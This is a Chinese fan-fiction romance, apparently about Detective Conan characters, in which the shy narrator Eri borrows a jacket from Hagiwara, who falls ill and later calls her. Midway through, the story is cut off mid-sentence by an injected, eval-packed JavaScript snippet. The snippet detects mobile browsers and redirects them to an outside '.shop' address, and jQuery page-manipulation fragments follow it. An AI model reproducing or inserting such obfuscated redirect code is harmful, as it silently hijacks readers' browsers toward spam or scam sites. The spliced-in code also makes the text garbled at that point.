我的日常生活很单调,虽然不止是宿舍、教室和阅览室的三点一线,但也好不到哪里去,只是多了个广播社的社团活动。
我在每周的周三、周五午休时,会到广播室念稿。为了不在给全校广播时出糗,提前准备稿子并练习是理所当然的事情。
而因为抽选中了单人宿舍,我为了省事,就干脆住在了学校的女生宿舍,这里隔音并不好,通常我会找无人的教室,或者在天气好的时候在附近的公园练习。
但原本晴朗的天气突然转阴,没两秒就下起了雨,这种事情我也是第一次遇到。最近能够躲雨的地方是一家便利店,稍微有点远,所以我写好的手稿被打湿了,人也很狼狈。
湿了大半的衣服很不舒服,头发也已经被水汽凝成一络一络的。我忍不住叹气,但还是拿了把雨伞去结账,打算回宿舍换衣服并洗个热水澡。
结账时店门口传来了有人入店的声音,我本来只想迅速结账走人,但熟悉的声音没给我留半点逃避的空间。
“哈哈~小阵平你的卷毛塌得好搞笑哦。”
“是谁的错啊!”毫不客气地抱怨着的松田,“非要今天借千速姐的摩托去兜风,还非要拉上我,你是上厕所都要手拉手的jk吗?”
“抱歉抱歉~”是完全听不出诚意的道歉,甚至语气还飞快地变得理直气壮起来,“但小阵平可是收了我的贿赂的!”
我眼观鼻鼻观心地接过了店员递还给我的零钱,低声说了句谢谢,转过头就意料之内迎面遇上卷毛塌得很搞笑的松田,以及……
原本在很可爱地和松田说话,但在和我对视的一瞬间就丝毫不掩饰那副惊喜神情的hagi,下垂眼飞快地变得pikapika地闪烁着光。
“蠢死了。”松田留下了这样一句话,就很嫌弃地、毫不犹豫地把他丢在了原地。
“爱梨~”hagi就这样带着那副闪亮的笑容叫我,“好巧呀。”
然后他飞快地脱下身上那件皮质外套,眨巴着眼睛,视线似乎是很紧张地落在了我的脸颊上,“我的外套是防水的,爱梨的衣服湿了好多,先披一下吧?”
“萩原同学自己也需要吧?”我小声地表达了拒绝的意思,目光从触碰到他的笑容就感觉像烫到一样挪开,好像便利店光可鉴人的地面能盯出一朵花一样。
“小爱梨~”他的气息靠近了,半长发还滴落着水珠,我一抬起视线就看见那滴水珠顺着发尾落到他的皮肤上,然后又顺着颈部的线条一路滑进领口。
我呼吸一滞,打算当做什么都没有看见地别开视线,却望进那双湿漉漉的紫色眼瞳里,他长长的眼睫轻颤着,撒娇的声音顺着耳廓涌入,像是掺了几百斤砂糖一样甜腻,“求求你了,收下吧?”
所以说……就那样头眼昏花地答应了,我还任由他把衣服披到了自己身上。残余的温暖体温和清爽气味一起侵袭着我的感官。
直到打着临时买的伞回到了宿舍,把伞晾在了阳台上,手稿晾在书桌上,我手里抱着这件皮质外套,指尖焦躁地捏了捏料子……
果然还是先送去干洗吧。
我长长地叹了口气,放下这件外套,找出换洗衣物,去浴室洗了个热水澡。
第二天,外套就干洗成功回到了我手上。正好要上专业课,我就把它包好带去了教室。
……但是hagi没来。
我纠结地看了松田好几次,还是没能下定决心去和他搭话,都快要放弃了,结果松田在下课时主动询问……不,还是用质问或是讯问才更为恰当。
“看我做什么?”
我意外地睁大眼睛,“诶?”
“不是,”松田一脸无语地对我说,“你不会觉得自己的动作很隐蔽吧?”
我一下紧张得手心直冒汗,什么话也问不出口了,低着头只顾着道歉,“对不起,松田同学,我、我不是故意的。”
松田大概是接受了我的道歉吧,揭过了这个话题,“hagi生病了,睡了一整天,要是没回你消息,也不是故意的。”
……生病了,果然是我穿走外套的缘故吧。
我觉得很慌,抿着唇,想要提出去探病又觉得会不会太冒犯了,也不知道带什么探病礼物比较合适……所以果然还是算了。
我习惯性地打了退堂鼓。
松田瞥了我一眼,有些不耐烦地问道,“还有事吗?”
“啊、稍等……”我才反应过来,将装外套的纸袋递给他,小声又小声地请求着,“可以拜托松田同学给萩原同学一下吗?”
“哦。”松田接了过去。
同样也是在我们的婚礼上,在伴郎松田带着调侃性质的抱怨中,我才知道,因为他帮我把外套还了回去,让hagi错失了一次和我说话的机会,所以被hagi埋怨了。
我嗔了hagi一眼,“怎么连这种事情都要抱怨呀。”
满脸都是笑的新郎居然一副不好意思的表情弯下腰蹭我的脸颊,手指嵌入我戴了白色婚纱手套的五指间,十指相扣后才委屈又义正言辞地对我小声说,“那时小爱梨还不怎么会主动搭理我,所以那可是对我来说相当珍贵的机会。”
当然,那都是后话了。此刻将外套交托出去后,我确实觉得好像解决了一件大事,但也没轻松多少,因为一直在反复修改发给hagi的问候邮件。
我们的聊天记录不算多也不算少,hagi会恰到好处地向我分享他的生活趣事,但我做不到,在一条消息发出去之前,我会反复纠结犹豫,会不会其实并不有趣?会不会反而踩了雷点?从语序、语法到语气……总之各种纠结,到最后干脆决定不发了。
但是就算出于礼貌,这条问候邮件也是非发不可,毕竟是我穿走了他的外套,才会让他生这次病。
于是,历经半小时的纠结,一条无论从语序和语法,还是从语气都挑不出半点毛病的问候邮件就这样发了出去。
发出去之后我翻了翻聊天记录,才发现确实从便利店分开后hagi就没给我发过消息。
所以我还以为要等hagi病好才会回复这封邮件,但仅仅半小时后,我就收到了他的回复。
「小爱梨,对我也太客气了……/大哭.jpg」
呃。
我手滑得手机飞了好远,差点碎成几瓣,但虽然屏幕没碎,却莫名地好几个按键失灵了。
……完蛋,我暂时还不想换手机。
我对着手机苦恼地敲敲打打,反复按那些坏掉的按钮,但显而易见我并没有修理手机的天赋,我的手机也不愿配合我。
但是,这样的话……嗯,按键失灵打不了字,没能回复那条让人觉得苦恼的邮件就也不是我的错了,对吧?
又半个小时后,hagi的电话打了过来,令我有点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271694|198128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
慌乱的事情是……接听键没坏,我接了这个电话。
在带着鼻音的嘤嘤呜呜声中,我听到了只有hagi一个人在叫的、我的昵称,“小爱梨。”
我按照接电话的礼仪小声答,“……嗯,这里是北川爱梨。”
他带着鼻音的语调更委屈了,“小爱梨!”
我在电话这边坐立不安,硬着头皮问,“萩原同学有什么事吗?”
过了好几秒钟,一向秒回的hagi才小声地说道,“……陪陪我吧,虽然我还没有追到小爱梨,但是……陪陪我吧。”
我紧张地组织了半天语言,最后问出口也只有干巴巴的一句,“萩原同学怎么样了?还好吗?”
电话对面的声音还在哼哼唧唧地撒着娇,感冒后褪不去的鼻音在这时几乎所向披靡,“很不好,小爱梨还是对我冷淡又客气,我总感觉自己马上就要被拒绝了。”
难道有谁能抵挡住hagi的撒娇吗?我不知道,反正不是我,我没成功过。
“我、对不起……那个……没有要拒绝萩原同学。”当时的我根本不知道怎么回答,手已经把衣角的布料揉捏得皱皱巴巴的了。
“吓死我了。总觉得对不起下一句就该是‘萩原同学你是个好人’,然后小爱梨就这么顺势把我拒绝了。”
我很小声地说,“我没那么想过。”
“真的没有吗?小爱梨给我发了那样冷淡的邮件,然后就连邮件也不回复我了。”
“……对不起,手机摔坏了,好几个按键都用不了了。”
“原来是这样,”电话对面一直委委屈屈的撒娇音调瞬间变得高兴了起来,自告奋勇道,“我来帮小爱梨修吧!”
“啊、也不用……太麻烦萩原同学了……”
“不麻烦,因为我有一件必须要拜托小爱梨才能做到的事情。”
我谨慎地问道,“……是什么?”
hagi拖长了音调,还在撒娇,“小爱梨,请不要再用敬称叫我啦——”
总之,我从来没能成功拒绝过撒娇的hagi。不用敬称的话,我试着叫道,“那、萩原?”
他可怜巴巴地请求道,“可以再亲昵一点吗,小爱梨?”
我那时见过的hagi身边和他最亲近的人就是松田了,所以理所当然地试着叫他,“hagi?”
“……小爱梨是跟小阵平学的吗?”
我意识到自己有可能叫错了,不安地询问道,“是只有松田同学能这么叫吗?抱歉、那个……”
“当然不是!”hagi飞快地拉踩了松田来夸奖我,“小爱梨叫我的声音比小阵平可爱多了~”
我不知道该怎么回答,但电话对面立刻传来了松田阴恻恻的死亡质问,“hagi,你知道你这几天的作业和三餐都还要靠我的吧?”
“什么啊,难道小阵平还要和女孩子比可爱吗?”
在病号一声夸张的痛呼中,这一通电话结束了。
我在这通电话后纠结了很久——hagi比我会处理人际关系多了,而且他们幼驯染间有他们自己的相处方式,我插嘴的话好像多管闲事……
我想了好多好多不去多管闲事的理由,但还是用不全的按键试着发了这封邮件。
「请还是尽量别那么说吧,用的是什么形容词其实并不重要,如果我是松田同学的话,我会很伤心的。」